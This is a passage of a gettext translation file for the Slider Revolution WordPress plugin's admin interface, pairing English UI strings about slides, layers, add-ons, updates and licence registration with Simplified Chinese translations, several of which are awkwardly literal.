admin/revslider-admin.class.php:1803 msgid "Register to unlock Library" msgstr "注册解锁图书馆" #: admin/revslider-admin.class.php:1804 msgid "Register to unlock Updates" msgstr "注册以解锁更新" #: admin/revslider-admin.class.php:1805 msgid "Register to unlock Templates" msgstr "注册以解锁模板" #: admin/revslider-admin.class.php:1806 msgid "Do you want to start the Update process?" msgstr "您想要启动更新过程吗?" #: admin/revslider-admin.class.php:1807 admin/revslider-admin.class.php:1889 #: admin/views/overview.php:98 msgid "Update Now" msgstr "现在更新" #: admin/revslider-admin.class.php:1808 msgid "Higher Level" msgstr "更高层次" #: admin/revslider-admin.class.php:1809 msgid "Current Level" msgstr "当前水平" #: admin/revslider-admin.class.php:1810 msgid "Other Folders" msgstr "其他文件夹" #: admin/revslider-admin.class.php:1811 msgid "Parent Level" msgstr "家长级别" #: admin/revslider-admin.class.php:1812 msgid "from" msgstr "从" #: admin/revslider-admin.class.php:1813 msgid "to" msgstr "至" #: admin/revslider-admin.class.php:1814 msgid "Action Needed" msgstr "需要采取行动" #: admin/revslider-admin.class.php:1815 msgid "Done" msgstr "完成" #: admin/revslider-admin.class.php:1816 msgid "Update All" msgstr "全部更新" #: admin/revslider-admin.class.php:1817 msgid "Update Later" msgstr "稍后更新" #: admin/revslider-admin.class.php:1818 msgid "The following AddOns require an update:" msgstr "以下AddOns需要更新:" #: admin/revslider-admin.class.php:1819 msgid "AddOns need attention" msgstr "AddOns 需要注意" #: admin/revslider-admin.class.php:1820 msgid "Updating Plugin Failed" msgstr "更新插件失败" #: admin/revslider-admin.class.php:1821 msgid "Updating Plugin..." msgstr "更新插件......" #: admin/revslider-admin.class.php:1822 msgid "License validation issue Occured. Please contact our Support." msgstr "许可证验证问题已发布。请联系我们的支持。" #: admin/revslider-admin.class.php:1823 msgid "Back to Overview" msgstr "回到概述" #: admin/revslider-admin.class.php:1824 msgid "Page is reloading..." msgstr "页面正在重新加载......" #: admin/revslider-admin.class.php:1825 msgid "Update Plugin" msgstr "更新插件" #: admin/revslider-admin.class.php:1826 msgid "Slider Revolution Plugin updated Successfully." msgstr "Slider Revolution插件已成功更新。" #: admin/revslider-admin.class.php:1827 msgid "Slider Revolution Plugin updated Failure:" msgstr "Slider Revolution插件更新失败:" #: admin/revslider-admin.class.php:1828 msgid "Slider Revolution Plugin updated Successfully to" msgstr "Slider Revolution插件已成功更新" #: admin/revslider-admin.class.php:1829 msgid "Reload Page" msgstr "重新加载页面" #: admin/revslider-admin.class.php:1830 #: admin/includes/shortcode_generator/shortcode_generator.class.php:123 msgid "Loading" msgstr "载入中" #: admin/revslider-admin.class.php:1831 #: admin/includes/shortcode_generator/shortcode_generator.class.php:124 msgid "Elements" msgstr "分子" #: admin/revslider-admin.class.php:1832 #: admin/includes/shortcode_generator/shortcode_generator.class.php:125 msgid "Loading Thumbnails..." msgstr "正在加载缩略图..." #: admin/revslider-admin.class.php:1833 msgid "jQuery Triggered" msgstr "jQuery触发" #: admin/revslider-admin.class.php:1834 msgid "<a> Tag Link" msgstr "<a> Tag Link" #: admin/revslider-admin.class.php:1835 #: admin/views/builder-slider-forms.php:919 msgid "First Slide" msgstr "第一张幻灯片" #: admin/revslider-admin.class.php:1836 admin/revslider-admin.class.php:1990 #: admin/views/modals-builder.php:448 admin/views/builder-layer-forms.php:360 msgid "Last Slide" msgstr "持续Slide" #: admin/revslider-admin.class.php:1837 admin/revslider-admin.class.php:1916 #: admin/views/modals-builder.php:406 msgid "Next Slide" msgstr "下一个Slide" #: admin/revslider-admin.class.php:1838 admin/revslider-admin.class.php:1917 #: admin/views/modals-builder.php:400 msgid "Previous Slide" msgstr "以前Slide" #: admin/revslider-admin.class.php:1839 msgid "" "Some Settings in Slider Source may not complete.
            Please " "Complete All Settings in Slider Sources." msgstr "一些设置Slider 来源可能无法完成
            请完成滑块源中的所有设置。" #: admin/revslider-admin.class.php:1840 msgid "" "Some Layers are Locked and/or Invisible." "
            Change Status in Timeline." msgstr "某些图层已锁定和/或不可见
            更改时间轴中的状态。" #: admin/revslider-admin.class.php:1841 msgid "Editor is Loading..." msgstr "编辑正在加载......" #: admin/revslider-admin.class.php:1842 msgid "Adding new Blank Module..." msgstr "添加新的空白模块......" #: admin/revslider-admin.class.php:1843 msgid "Opening" msgstr "开盘" #: admin/revslider-admin.class.php:1844 msgid "Featured Images" msgstr "特色图片" #: admin/revslider-admin.class.php:1845 admin/revslider-admin.class.php:1948 #: admin/includes/shortcode_generator/shortcode_generator.class.php:113 msgid "Images" msgstr "图片" #: admin/revslider-admin.class.php:1846 admin/views/builder-slider-forms.php:99 #: admin/views/builder-slider-forms.php:1244 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "None" msgstr "没有" #: admin/revslider-admin.class.php:1847 admin/views/builder-slide-forms.php:694 #: admin/views/builder-slide-forms.php:703 #: admin/views/builder-layer-forms.php:570 msgid "Select" msgstr "选择" #: admin/revslider-admin.class.php:1848 admin/views/builder-slide-forms.php:695 #: admin/views/builder-slide-forms.php:704 #: admin/views/builder-layer-forms.php:309 msgid "Reset" msgstr "重启" #: admin/revslider-admin.class.php:1849 #: admin/views/builder-slider-forms.php:462 admin/views/modals-builder.php:234 #: admin/views/modals-builder.php:322 admin/views/builder-slide-forms.php:175 #: admin/views/builder-slide-forms.php:187 #: admin/views/builder-layer-forms.php:1089 msgid "Custom" msgstr "习惯" #: admin/revslider-admin.class.php:1850 msgid "OUT" msgstr "OUT" #: admin/revslider-admin.class.php:1851 msgid "IN" msgstr "在" #: admin/revslider-admin.class.php:1852 admin/views/builder-nav-forms.php:16 msgid "Navigation Options" msgstr "导航选项" #: admin/revslider-admin.class.php:1853 admin/views/builder-slider-forms.php:52 msgid "Module General Options" msgstr "模块常规选项" #: admin/revslider-admin.class.php:1854 admin/views/builder-slide-forms.php:17 msgid "Slide Options" msgstr "Slide 选项" #: admin/revslider-admin.class.php:1855 msgid "Layer Options" msgstr "图层选项" #: admin/revslider-admin.class.php:1856 msgid "Set a Slide Background Image to use this feature" msgstr "设置一个Slide背景图像使用此功能" #: admin/revslider-admin.class.php:1872 msgid "HTML" msgstr "HTML" #: admin/revslider-admin.class.php:1883 msgid "Release to Upload file" msgstr "发布到上传文件" #: admin/revslider-admin.class.php:1884 msgid "Module .zip" msgstr "模块.zip" #: admin/revslider-admin.class.php:1885 msgid "Processing Import of" msgstr "加工进口" #: admin/revslider-admin.class.php:1886 msgid "An Error Occured while importing" msgstr "导入时出错" #: admin/revslider-admin.class.php:1887 msgid "File Succesfully Imported" msgstr "文件成功导入" #: admin/revslider-admin.class.php:1888 msgid "Import Report" msgstr "导入报告" #: admin/revslider-admin.class.php:1890 msgid "Activate To Update" msgstr "激活更新" #: admin/revslider-admin.class.php:1891 msgid "Activated" msgstr "活性" #: admin/revslider-admin.class.php:1892 msgid "Not Activated" msgstr "未激活" #: admin/revslider-admin.class.php:1893 msgid "Register this Code" msgstr "注册此代码" #: admin/revslider-admin.class.php:1894 admin/views/overview.php:134 msgid "Deregister this Code" msgstr "取消注册此代码" #: admin/revslider-admin.class.php:1895 msgid "Standard Module Embedding" msgstr "标准模块嵌入" #: admin/revslider-admin.class.php:1896 msgid "For the pages and posts editor insert the Shortcode:" msgstr "对于页面和帖子编辑器插入短代码:" #: admin/revslider-admin.class.php:1897 msgid "" "To Use it as Modal on pages and posts editor insert the " "Shortcode:" msgstr "用它作为弹出页面和帖子编辑器插入短代码:" #: admin/revslider-admin.class.php:1898 msgid "" "From the widgets panel drag the \"Revolution Module\" widget to the " "desired sidebar." msgstr "从小部件面板将“Revolution Module ”小部件拖到所需的侧边栏。" #: admin/revslider-admin.class.php:1899 msgid "Advanced Module Embedding" msgstr "高级模块嵌入" #: admin/revslider-admin.class.php:1900 msgid "For the theme html use:" msgstr "对于主题html ,请使用:" #: admin/revslider-admin.class.php:1901 msgid "To add the slider only to the homepage, use:" msgstr "添加slider只到主页 ,使用:" #: admin/revslider-admin.class.php:1902 msgid "To add the slider only to single Pages, use:" msgstr "添加slider仅限单页 ,使用:" #: admin/revslider-admin.class.php:1903 msgid "Select a Layer" msgstr "选择一个图层" #: admin/revslider-admin.class.php:1904 msgid "Link Actions" msgstr "链接操作" #: admin/revslider-admin.class.php:1905 msgid "Slide Actions" msgstr "Slide 操作" #: admin/revslider-admin.class.php:1906 msgid "Layer Actions" msgstr "图层操作" #: admin/revslider-admin.class.php:1907 msgid "Media Actions" msgstr "媒体行动" #: admin/revslider-admin.class.php:1908 msgid "Fullscreen Actions" msgstr "全屏操作" #: admin/revslider-admin.class.php:1909 msgid "Advanced Actions" msgstr "高级操作" #: admin/revslider-admin.class.php:1910 msgid "Simple Link" msgstr "简单链接" #: admin/revslider-admin.class.php:1911 msgid "Call Back" msgstr "打回来" #: admin/revslider-admin.class.php:1912 admin/revslider-admin.class.php:1923 msgid "Open Slider Modal" msgstr "打开Slider弹出" #: admin/revslider-admin.class.php:1913 msgid "Scroll below Slider" msgstr "滚动如下Slider" #: admin/revslider-admin.class.php:1914 msgid "Scroll To ID" msgstr "滚动到ID" #: admin/revslider-admin.class.php:1915 admin/views/modals-builder.php:782 msgid "Jump to Slide" msgstr "跳到Slide" #: admin/revslider-admin.class.php:1918 msgid "Next Frame" msgstr "下一帧" #: admin/revslider-admin.class.php:1919 msgid "Previous Frame" msgstr "以前帧" #: admin/revslider-admin.class.php:1920 admin/views/modals-builder.php:388 #: admin/views/builder-slide-forms.php:564 msgid "Pause Slider" msgstr "暂停Slider" #: admin/revslider-admin.class.php:1921 msgid "Play Slide" msgstr "玩Slide" #: admin/revslider-admin.class.php:1922 msgid "Close Slider Modal" msgstr "关 Slider 弹出" #: admin/revslider-admin.class.php:1924 msgid "Toggle Slider" msgstr "切换Slider" #: admin/revslider-admin.class.php:1925 msgid "Go to 1st Frame " msgstr "转到第一帧" #: admin/revslider-admin.class.php:1926 msgid "Go to Last Frame" msgstr "转到最后一帧" #: admin/revslider-admin.class.php:1927 msgid "Go to Frame \"N\"" msgstr "去框架 “N ”" #: admin/revslider-admin.class.php:1928 msgid "Toggle 1st / Last Frame" msgstr "切换第一帧/最后一帧" #: admin/revslider-admin.class.php:1929 msgid "Toggle \"N/M\" Frames" msgstr "切换“N / M ”帧" #: admin/revslider-admin.class.php:1930 msgid "Start Media" msgstr "启动媒体" #: admin/revslider-admin.class.php:1931 msgid "Stop Media" msgstr "停止媒体" #: admin/revslider-admin.class.php:1932 msgid "Toggle Media" msgstr "切换媒体" #: admin/revslider-admin.class.php:1933 msgid "Mute Media" msgstr "静音媒体" #: admin/revslider-admin.class.php:1934 msgid "Unmute Media" msgstr "取消静音媒体" #: admin/revslider-admin.class.php:1935 msgid "Toggle Mute Media" msgstr "切换静音媒体" #: admin/revslider-admin.class.php:1936 msgid "Toggle Mute All Media" msgstr "切换静音所有媒体" #: admin/revslider-admin.class.php:1937 msgid "Toggle Fullscreen" msgstr "切换全屏" #: admin/revslider-admin.class.php:1938 msgid "Enter Fullscreen" msgstr "进入全屏" #: admin/revslider-admin.class.php:1939 msgid "Exit Fullscreen" msgstr "退出全屏" #: admin/revslider-admin.class.php:1940 msgid "Simulate Click" msgstr "模拟单击" #: admin/revslider-admin.class.php:1941 msgid "Toggle Class" msgstr "切换Class" #: admin/revslider-admin.class.php:1942 admin/views/builder-layer-forms.php:228 #: admin/views/builder-layer-forms.php:862 msgid "Disabled" msgstr "残" #: admin/revslider-admin.class.php:1943 msgid "Background Video" msgstr "背景视频" #: admin/revslider-admin.class.php:1944 admin/revslider-admin.class.php:1945 msgid "Video in Active Slide" msgstr "视频有效Slide" #: admin/revslider-admin.class.php:1946 admin/views/builder-layer-forms.php:419 #: admin/includes/shortcode_generator/shortcode_generator.class.php:154 msgid "Behavior" msgstr "行为" #: admin/revslider-admin.class.php:1947 admin/views/modals-builder.php:722 msgid "Add Action to " msgstr "添加动作" #: admin/revslider-admin.class.php:1949 #: admin/includes/shortcode_generator/shortcode_generator.class.php:114 msgid "Layer Objects" msgstr "图层对象" #: admin/revslider-admin.class.php:1950 #: admin/includes/shortcode_generator/shortcode_generator.class.php:115 msgid "Objects" msgstr "对象" #: admin/revslider-admin.class.php:1951 #: admin/includes/shortcode_generator/shortcode_generator.class.php:116 msgid "Own Modules" msgstr "自己的模块" #: admin/revslider-admin.class.php:1952 #: admin/includes/shortcode_generator/shortcode_generator.class.php:117 msgid "Font Icons" msgstr "字体图标" #: admin/revslider-admin.class.php:1953 #: admin/includes/shortcode_generator/shortcode_generator.class.php:118 msgid "Module Templates" msgstr "模块模板" #: admin/revslider-admin.class.php:1954 #: admin/includes/shortcode_generator/shortcode_generator.class.php:119 msgid "Videos" msgstr "影片" #: admin/revslider-admin.class.php:1955 #: admin/includes/shortcode_generator/shortcode_generator.class.php:120 msgid "SVG's" msgstr "SVG的" #: admin/revslider-admin.class.php:1956 #: admin/includes/shortcode_generator/shortcode_generator.class.php:121 msgid "Favorites" msgstr "最爱" #: admin/revslider-admin.class.php:1957 #: admin/includes/shortcode_generator/shortcode_generator.class.php:128 msgid "Installed" msgstr "安装" #: admin/revslider-admin.class.php:1958 admin/revslider-admin.class.php:2018 #: admin/includes/shortcode_generator/shortcode_generator.class.php:129 msgid "Not Installed" msgstr "未安装" #: admin/revslider-admin.class.php:1959 #: admin/includes/shortcode_generator/shortcode_generator.class.php:130 msgid "Setup Notes" msgstr "设置说明" #: admin/revslider-admin.class.php:1960 #: admin/includes/shortcode_generator/shortcode_generator.class.php:131 msgid "Requirements" msgstr "要求" #: admin/revslider-admin.class.php:1961 admin/views/overview.php:93 #: admin/includes/shortcode_generator/shortcode_generator.class.php:132 msgid "Installed Version" msgstr "已安装的版本" #: admin/revslider-admin.class.php:1962 msgid "Use LineBreaks only in Columns" msgstr "仅在列中使用LineBreaks" #: admin/revslider-admin.class.php:1963 admin/views/overview.php:95 #: admin/includes/shortcode_generator/shortcode_generator.class.php:133 msgid "Available Version" msgstr "可用版本" #: admin/revslider-admin.class.php:1964 #: admin/includes/shortcode_generator/shortcode_generator.class.php:134 msgid "Install Template Package" msgstr "安装模板包" #: admin/revslider-admin.class.php:1965 #: admin/includes/shortcode_generator/shortcode_generator.class.php:135 msgid "Install Template" msgstr "安装模板" #: admin/revslider-admin.class.php:1966 msgid "Installing Template" msgstr "安装模板" #: admin/revslider-admin.class.php:1967 #: admin/includes/shortcode_generator/shortcode_generator.class.php:140 msgid "Search" msgstr "搜索" #: admin/revslider-admin.class.php:1968 #: admin/includes/shortcode_generator/shortcode_generator.class.php:141 msgid "FOLDER" msgstr "夹" #: admin/revslider-admin.class.php:1969 #: admin/includes/shortcode_generator/shortcode_generator.class.php:126 msgid "MODULE" msgstr "MODULE" #: admin/revslider-admin.class.php:1970 #: admin/includes/shortcode_generator/shortcode_generator.class.php:142 msgid "OBJECT" msgstr "宾语" #: admin/revslider-admin.class.php:1971 #: admin/includes/shortcode_generator/shortcode_generator.class.php:127 msgid "PACKAGE" msgstr "包" #: admin/revslider-admin.class.php:1972 #: admin/includes/shortcode_generator/shortcode_generator.class.php:143 msgid "IMAGE" msgstr "图片" #: admin/revslider-admin.class.php:1973 #: admin/includes/shortcode_generator/shortcode_generator.class.php:144 msgid "VIDEO" msgstr "视频" #: admin/revslider-admin.class.php:1974 #: admin/includes/shortcode_generator/shortcode_generator.class.php:145 msgid "ICON" msgstr "图标" #: admin/revslider-admin.class.php:1975 admin/views/builder-layer-forms.php:541 #: admin/includes/shortcode_generator/shortcode_generator.class.php:146 msgid "SVG" msgstr "SVG" #: admin/revslider-admin.class.php:1976 #: admin/includes/shortcode_generator/shortcode_generator.class.php:147 msgid "FONT" msgstr "字形" #: admin/revslider-admin.class.php:1977 #: admin/includes/shortcode_generator/shortcode_generator.class.php:137 msgid "Re-Download Online" msgstr "在线重新下载" #: admin/revslider-admin.class.php:1978 #: admin/includes/shortcode_generator/shortcode_generator.class.php:138 msgid "Create Blank Page" msgstr "创建空白页面" #: admin/revslider-admin.class.php:1979 #: admin/includes/shortcode_generator/shortcode_generator.class.php:139 msgid "Please Wait a moment" msgstr "请稍等片刻" #: admin/revslider-admin.class.php:1980 msgid "Changing Screen Size" msgstr "改变屏幕尺寸" #: admin/revslider-admin.class.php:1981 msgid "Headlines" msgstr "标题" #: admin/revslider-admin.class.php:1982 admin/views/builder-slider-forms.php:57 #: admin/views/builder-slider-forms.php:450 #: admin/views/builder-slider-forms.php:456 #: admin/views/builder-nav-forms.php:86 admin/views/builder-nav-forms.php:141 #: admin/views/builder-nav-forms.php:283 admin/views/builder-nav-forms.php:430 #: admin/views/builder-nav-forms.php:613 admin/views/builder-layer-forms.php:28 #: admin/views/builder-layer-forms.php:52 #: admin/includes/shortcode_generator/shortcode_generator.class.php:218 msgid "Content" msgstr "内容" #: admin/revslider-admin.class.php:1983 msgid "Buttons" msgstr "纽扣" #: admin/revslider-admin.class.php:1984 msgid "BG & Space" msgstr "BG&Space" #: admin/revslider-admin.class.php:1985 admin/revslider-admin.class.php:1986 #: admin/views/builder-slider-forms.php:1110 msgid "Shadow" msgstr "阴影" #: admin/revslider-admin.class.php:1987 msgid "Saving Slide" msgstr "保存Slide" #: admin/revslider-admin.class.php:1988 msgid "Loading Configuration" msgstr "加载配置" #: admin/revslider-admin.class.php:1989 msgid "Updating Lists" msgstr "更新列表" #: admin/revslider-admin.class.php:1992 msgid "Slider Settings" msgstr "Slider 设置" #: admin/revslider-admin.class.php:1993 msgid "Animate From" msgstr "动画来自" #: admin/revslider-admin.class.php:1994 msgid "Keyframe #" msgstr "关键帧#" #: admin/revslider-admin.class.php:1995 msgid "Transform Idle" msgstr "变换空闲" #: admin/revslider-admin.class.php:1996 #: admin/includes/plugin-update.class.php:3423 msgid "Anim From" msgstr "动画来自" #: admin/revslider-admin.class.php:1997 admin/revslider-admin.class.php:1998 #: admin/includes/plugin-update.class.php:3527 #: admin/includes/plugin-update.class.php:3612 msgid "Anim To" msgstr "动画到" #: admin/revslider-admin.class.php:1999 msgid "Keyframe" msgstr "关键帧" #: admin/revslider-admin.class.php:2000 msgid "Not Enough space between Frames." msgstr "帧之间没有足够的空间。" #: admin/revslider-admin.class.php:2001 msgid "Frame Size can not be Extended. Not enough Space." msgstr "帧大小无法扩展。没有足够的空位。" #: admin/revslider-admin.class.php:2002 msgid "Loop Template" msgstr "循环模板" #: admin/revslider-admin.class.php:2003 msgid "Animation Template" msgstr "动画模板" #: admin/revslider-admin.class.php:2004 msgid "Choose Image" msgstr "选择图像" #: admin/revslider-admin.class.php:2005 msgid "Choose Video" msgstr "选择视频" #: admin/revslider-admin.class.php:2006 msgid "Slider Revolution Shortcode Creator" msgstr "Slider Revolution Shortcode Creator" #: admin/revslider-admin.class.php:2007 msgid "Shortcode Generator" msgstr "短代码生成器" #: admin/revslider-admin.class.php:2008 msgid "Please add at least one Layer." msgstr "请添加至少一个图层。" #: admin/revslider-admin.class.php:2009 msgid "Shortcode parsing successfull. Items can be found in step 3" msgstr "短代码解析成功。项目可在第3步中找到" #: admin/revslider-admin.class.php:2010 msgid "Shortcode could not be parsed." msgstr "无法解析短代码。" #: admin/revslider-admin.class.php:2011 msgid "Addon Required" msgstr "Addon 需要" #: admin/revslider-admin.class.php:2012 #: admin/includes/shortcode_generator/shortcode_generator.class.php:136 msgid "Activate License" msgstr "激活许可证" #: admin/revslider-admin.class.php:2013 msgid "Search Icons..." msgstr "搜索图标..." #: admin/revslider-admin.class.php:2014 msgid "Save Current Template" msgstr "保存当前模板" #: admin/revslider-admin.class.php:2015 msgid "Overwrite Template ?" msgstr "覆盖模板?" #: admin/revslider-admin.class.php:2016 msgid "Delete Template ?" msgstr "删除模板?" #: admin/revslider-admin.class.php:2017 msgid "Credits" msgstr "积分" #: admin/revslider-admin.class.php:2019 admin/views/builder-nav-forms.php:810 #: admin/views/builder-nav-forms.php:828 #: admin/views/builder-layer-forms.php:928 msgid "Enabled" msgstr "启用" #: admin/revslider-admin.class.php:2020 msgid "Global" msgstr "全球" #: admin/revslider-admin.class.php:2021 msgid "Install Add-On" msgstr "安装Add-On" #: admin/revslider-admin.class.php:2022 msgid "Install" msgstr "安装" #: admin/revslider-admin.class.php:2023 msgid "Enable Add-On" msgstr "启用 Add-On" #: admin/revslider-admin.class.php:2024 msgid "Disable Add-On" msgstr "禁用 Add-On" #: admin/revslider-admin.class.php:2025 msgid "Enable Global Add-On" msgstr "启用全球 Add-On" #: admin/revslider-admin.class.php:2026 msgid "Disable Global Add-On" msgstr "禁用全局加载项" #: admin/revslider-admin.class.php:2027 msgid "Slider Revolution Version" msgstr "Slider Revolution 版" #: admin/revslider-admin.class.php:2028 msgid "Check Requirements" msgstr "检查要求" #: admin/revslider-admin.class.php:2029 msgid "Activate Global Add-On" msgstr "启用 Global Add-On" #: admin/revslider-admin.class.php:2030 msgid "Activate Add-On" msgstr "启用 Add-On" #: admin/revslider-admin.class.php:2031 msgid "Activating Add-On" msgstr "激活 Add-On" #: admin/revslider-admin.class.php:2032 msgid "Enabling Add-On" msgstr "启用Add-On" #: admin/revslider-admin.class.php:2033 msgid "Add-On" msgstr "Add-On" #: admin/revslider-admin.class.php:2034 msgid "Installing Add-On" msgstr "安装Add-On" #: admin/revslider-admin.class.php:2035 msgid "Disabling Add-On" msgstr "禁用Add-On" #: admin/revslider-admin.class.php:2036 msgid "Building Select Boxes" msgstr "建立选择框" #: admin/revslider-admin.class.php:2037 msgid "Warning" msgstr "警告" #: admin/revslider-admin.class.php:2038 msgid "Blank Page Created" msgstr "空白页面已创建" #: admin/revslider-admin.class.php:2039 msgid "Blank page has been created:" msgstr "已创建空白页:" #: admin/revslider-admin.class.php:2040 msgid "Visit Page" msgstr "访问页面" #: admin/revslider-admin.class.php:2041 msgid "Edit Page" msgstr "编辑页面" #: admin/revslider-admin.class.php:2042 msgid "Close" msgstr "关" #: admin/revslider-admin.class.php:2043 msgid "The changes you made require a page reload!" msgstr "您所做的更改需要重新加载页面!" #: admin/revslider-admin.class.php:2044 msgid "Save your project & reload the page or cancel" msgstr "保存您的项目并重新加载页面或取消" #: admin/revslider-admin.class.php:2045 msgid "Save & Reload" msgstr "保存并重新加载" #: admin/revslider-admin.class.php:2046 msgid "Cancel & Reload Later" msgstr "取消并稍后重新加载" #: admin/revslider-admin.class.php:2047 admin/views/modals-general.php:61 msgid "Save Configuration" msgstr "保存配置" #: admin/revslider-admin.class.php:2048 msgid "Updating" msgstr "更新" #: admin/revslider-admin.class.php:2049 msgid "Enable/Disable Add-On on Module" msgstr "启用/禁用 Add-On 在模块上" #: admin/revslider-admin.class.php:2050 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:157 msgid "Sort by Creation" msgstr "按创建排序" #: admin/revslider-admin.class.php:2051 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:158 msgid "Creation Ascending" msgstr "创造升序" #: admin/revslider-admin.class.php:2052 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:159 msgid "Sort by Title" msgstr "按标题排序" #: admin/revslider-admin.class.php:2053 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:160 msgid "Title Descending" msgstr "标题降序" #: admin/revslider-admin.class.php:2054 #: admin/includes/shortcode_generator/shortcode_generator.class.php:150 msgid "Update List" msgstr "更新清单" #: admin/revslider-admin.class.php:2055 msgid "Audio Wave Library is Loading..." msgstr "音频波库正在加载......" #: admin/revslider-admin.class.php:2056 msgid "Loading RevMirror Library..." msgstr "加载RevMirror库..." #: admin/revslider-admin.class.php:2057 msgid "Lock / Unlock Selected" msgstr "锁定/解锁已选中" #: admin/revslider-admin.class.php:2058 #: admin/includes/shortcode_generator/shortcode_generator.class.php:155 msgid "Layers Importing" msgstr "图层导入" #: admin/revslider-admin.class.php:2059 #: admin/includes/shortcode_generator/shortcode_generator.class.php:156 msgid "Nothing Selected" msgstr "没有选择" #: admin/revslider-admin.class.php:2060 #: admin/includes/shortcode_generator/shortcode_generator.class.php:153 msgid "Layer with Action" msgstr "层与行动" #: admin/revslider-admin.class.php:2061 #: admin/includes/shortcode_generator/shortcode_generator.class.php:151 msgid "Image is Loading..." msgstr "图片正在加载......" #: admin/revslider-admin.class.php:2062 #: admin/includes/shortcode_generator/shortcode_generator.class.php:152 msgid "Importing Layers..." msgstr "导入图层..." #: admin/revslider-admin.class.php:2063 msgid "Triggered By" msgstr "触发" #: admin/revslider-admin.class.php:2064 msgid "Imported" msgstr "进口" #: admin/revslider-admin.class.php:2065 msgid "LAYERS" msgstr "图层" #: admin/revslider-admin.class.php:2066 admin/views/builder-layer-forms.php:37 msgid "Responsivity" msgstr "响应度" #: admin/revslider-admin.class.php:2067 msgid "The changes you made will be lost!" msgstr "你所做的改变将会丢失!" #: admin/revslider-admin.class.php:2068 msgid "Are you sure you want to continue?" msgstr "你确定你要继续吗?" #: admin/revslider-admin.class.php:2069 msgid "Are you sure you want to export " msgstr "您确定要导出吗?" #: admin/revslider-admin.class.php:2070 msgid "Are you sure you want to delete " msgstr "你确定你要删除" #: admin/revslider-admin.class.php:2071 msgid "Delete All Sliders and Folders included in " msgstr "删除所有 Sliders 和文件夹包括在内" #: admin/revslider-admin.class.php:2072 msgid "Leave without Save" msgstr "离开时不保存" #: admin/revslider-admin.class.php:2073 msgid "Updating the Plugin may take a few moments." msgstr "更新插件可能需要一些时间。" #: admin/revslider-admin.class.php:2074 msgid "Downloading the Zip File may take a few moments." msgstr "下载Zip文件可能需要一些时间。" #: admin/revslider-admin.class.php:2075 msgid "Export Slider" msgstr "导出Slider" #: admin/revslider-admin.class.php:2076 msgid "Yes, Export Slider" msgstr "是的, 出口Slider" #: admin/revslider-admin.class.php:2077 msgid "Yes, Delete Slider" msgstr "是的,删除Slider" #: admin/revslider-admin.class.php:2078 msgid "Yes, Delete Slide" msgstr "是的,删除Slide" #: admin/revslider-admin.class.php:2079 msgid "Yes, Delete All Slider(s)" msgstr "是的,删除所有Slider(s)" #: admin/revslider-admin.class.php:2080 msgid "Stay in Edior" msgstr "留在Edior" #: admin/revslider-admin.class.php:2081 msgid "Redirecting to Overview Page" msgstr "重定向到概述页面" #: admin/revslider-admin.class.php:2082 msgid "Leaving current Page" msgstr "离开现在" #: admin/revslider-admin.class.php:2083 msgid "as HTML Document" msgstr "如HTML文献" #: admin/revslider-admin.class.php:2084 msgid "Preparing Data..." msgstr "准备数据......" #: admin/revslider-admin.class.php:2085 msgid "Loading Content..." msgstr "正在加载内容" #: admin/revslider-admin.class.php:2086 admin/views/builder.php:142 msgid "Copy" msgstr "复制" #: admin/revslider-admin.class.php:2087 admin/views/builder.php:143 msgid "Paste" msgstr "糊" #: admin/revslider-admin.class.php:2088 msgid "WAIT" msgstr "等待" #: admin/revslider-admin.class.php:2089 msgid "1st Frame" msgstr "第一帧" #: admin/revslider-admin.class.php:2090 msgid "Last Frame" msgstr "最后一帧" #: admin/revslider-admin.class.php:2091 msgid "on Action" msgstr "在行动" #: admin/revslider-admin.class.php:2092 msgid "This action can not be undone !!" msgstr "此操作无法撤消 !!" #: admin/revslider-admin.class.php:2093 msgid "Delete Slider" msgstr "删除 Slider" #: admin/revslider-admin.class.php:2094 msgid "Delete Slide" msgstr "删除 Slide" #: admin/revslider-admin.class.php:2095 msgid "This can be Undone only within the Current session." msgstr "这可以仅在当前会话中取消。" #: admin/revslider-admin.class.php:2096 msgid "Are you sure you want to delete the selected Slide:" msgstr "你确定你要删除选中的Slide:" #: admin/revslider-admin.class.php:2097 #: admin/views/builder-slider-forms.php:1264 msgid "Cancel" msgstr "取消" #: admin/revslider-admin.class.php:2098 msgid "Add-Ons" msgstr "Add-Ons" #: admin/revslider-admin.class.php:2099 msgid "Deleting Slider" msgstr "删除 Slider" #: admin/revslider-admin.class.php:2100 msgid "Template & Object Library" msgstr "模板和对象库" #: admin/revslider-admin.class.php:2101 msgid "Instant Updates" msgstr "即时更新" #: admin/revslider-admin.class.php:2102 msgid "1on1 Support" msgstr "1on1支持" #: admin/revslider-admin.class.php:2103 msgid "Get a Purchase Code" msgstr "获取购买代码" #: admin/revslider-admin.class.php:2104 msgid "I have a Purchase Code" msgstr "我有购买代码" #: admin/revslider-admin.class.php:2105 msgid "Register Slider Revolution
            to Unlock Premium Features" msgstr "寄存器Slider Revolution
            解锁高级功能" #: admin/revslider-admin.class.php:2106 admin/views/overview.php:123 msgid "Register Purchase Code" msgstr "注册购买代码" #: admin/revslider-admin.class.php:2107 msgid "1 Purchase Code per Website!" msgstr "1每个网站购买代码!" #: admin/revslider-admin.class.php:2108 msgid "" "If you want to use your purchase code on
            another domain, please " "deregister it first or" msgstr "如果您想在另一个域上使用您的购买代码,请先取消注册或" #: admin/revslider-admin.class.php:2109 msgid "Parallax is now generally Enabled" msgstr "Parallax现在通常已启用" #: admin/revslider-admin.class.php:2110 msgid "Scroll Based Timeline is now generally Enabled" msgstr "现在,基于滚动的时间轴通常已启用" #: admin/revslider-admin.class.php:2111 msgid "Filter Effect Scroll is now generally Enabled" msgstr "滤镜效果滚动现在通常已启用" #: admin/revslider-admin.class.php:2112 msgid "Slide has no Layers" msgstr "Slide 没有图层" #: admin/revslider-admin.class.php:2113 msgid "Changes that you made may not be saved." msgstr "您所做的更改可能无法保存。" #: admin/revslider-admin.class.php:2114 #: admin/includes/shortcode_generator/shortcode_generator.class.php:161 msgid "Add Slider as Modal" msgstr "加 Slider 如弹出" #: admin/revslider-admin.class.php:2137 msgid "Wrong Request" msgstr "错误的请求" #: admin/includes/widget.class.php:14 msgid "Displays a Slider Revolution Module on the page" msgstr "在页面上显示滑块旋转模块" #: 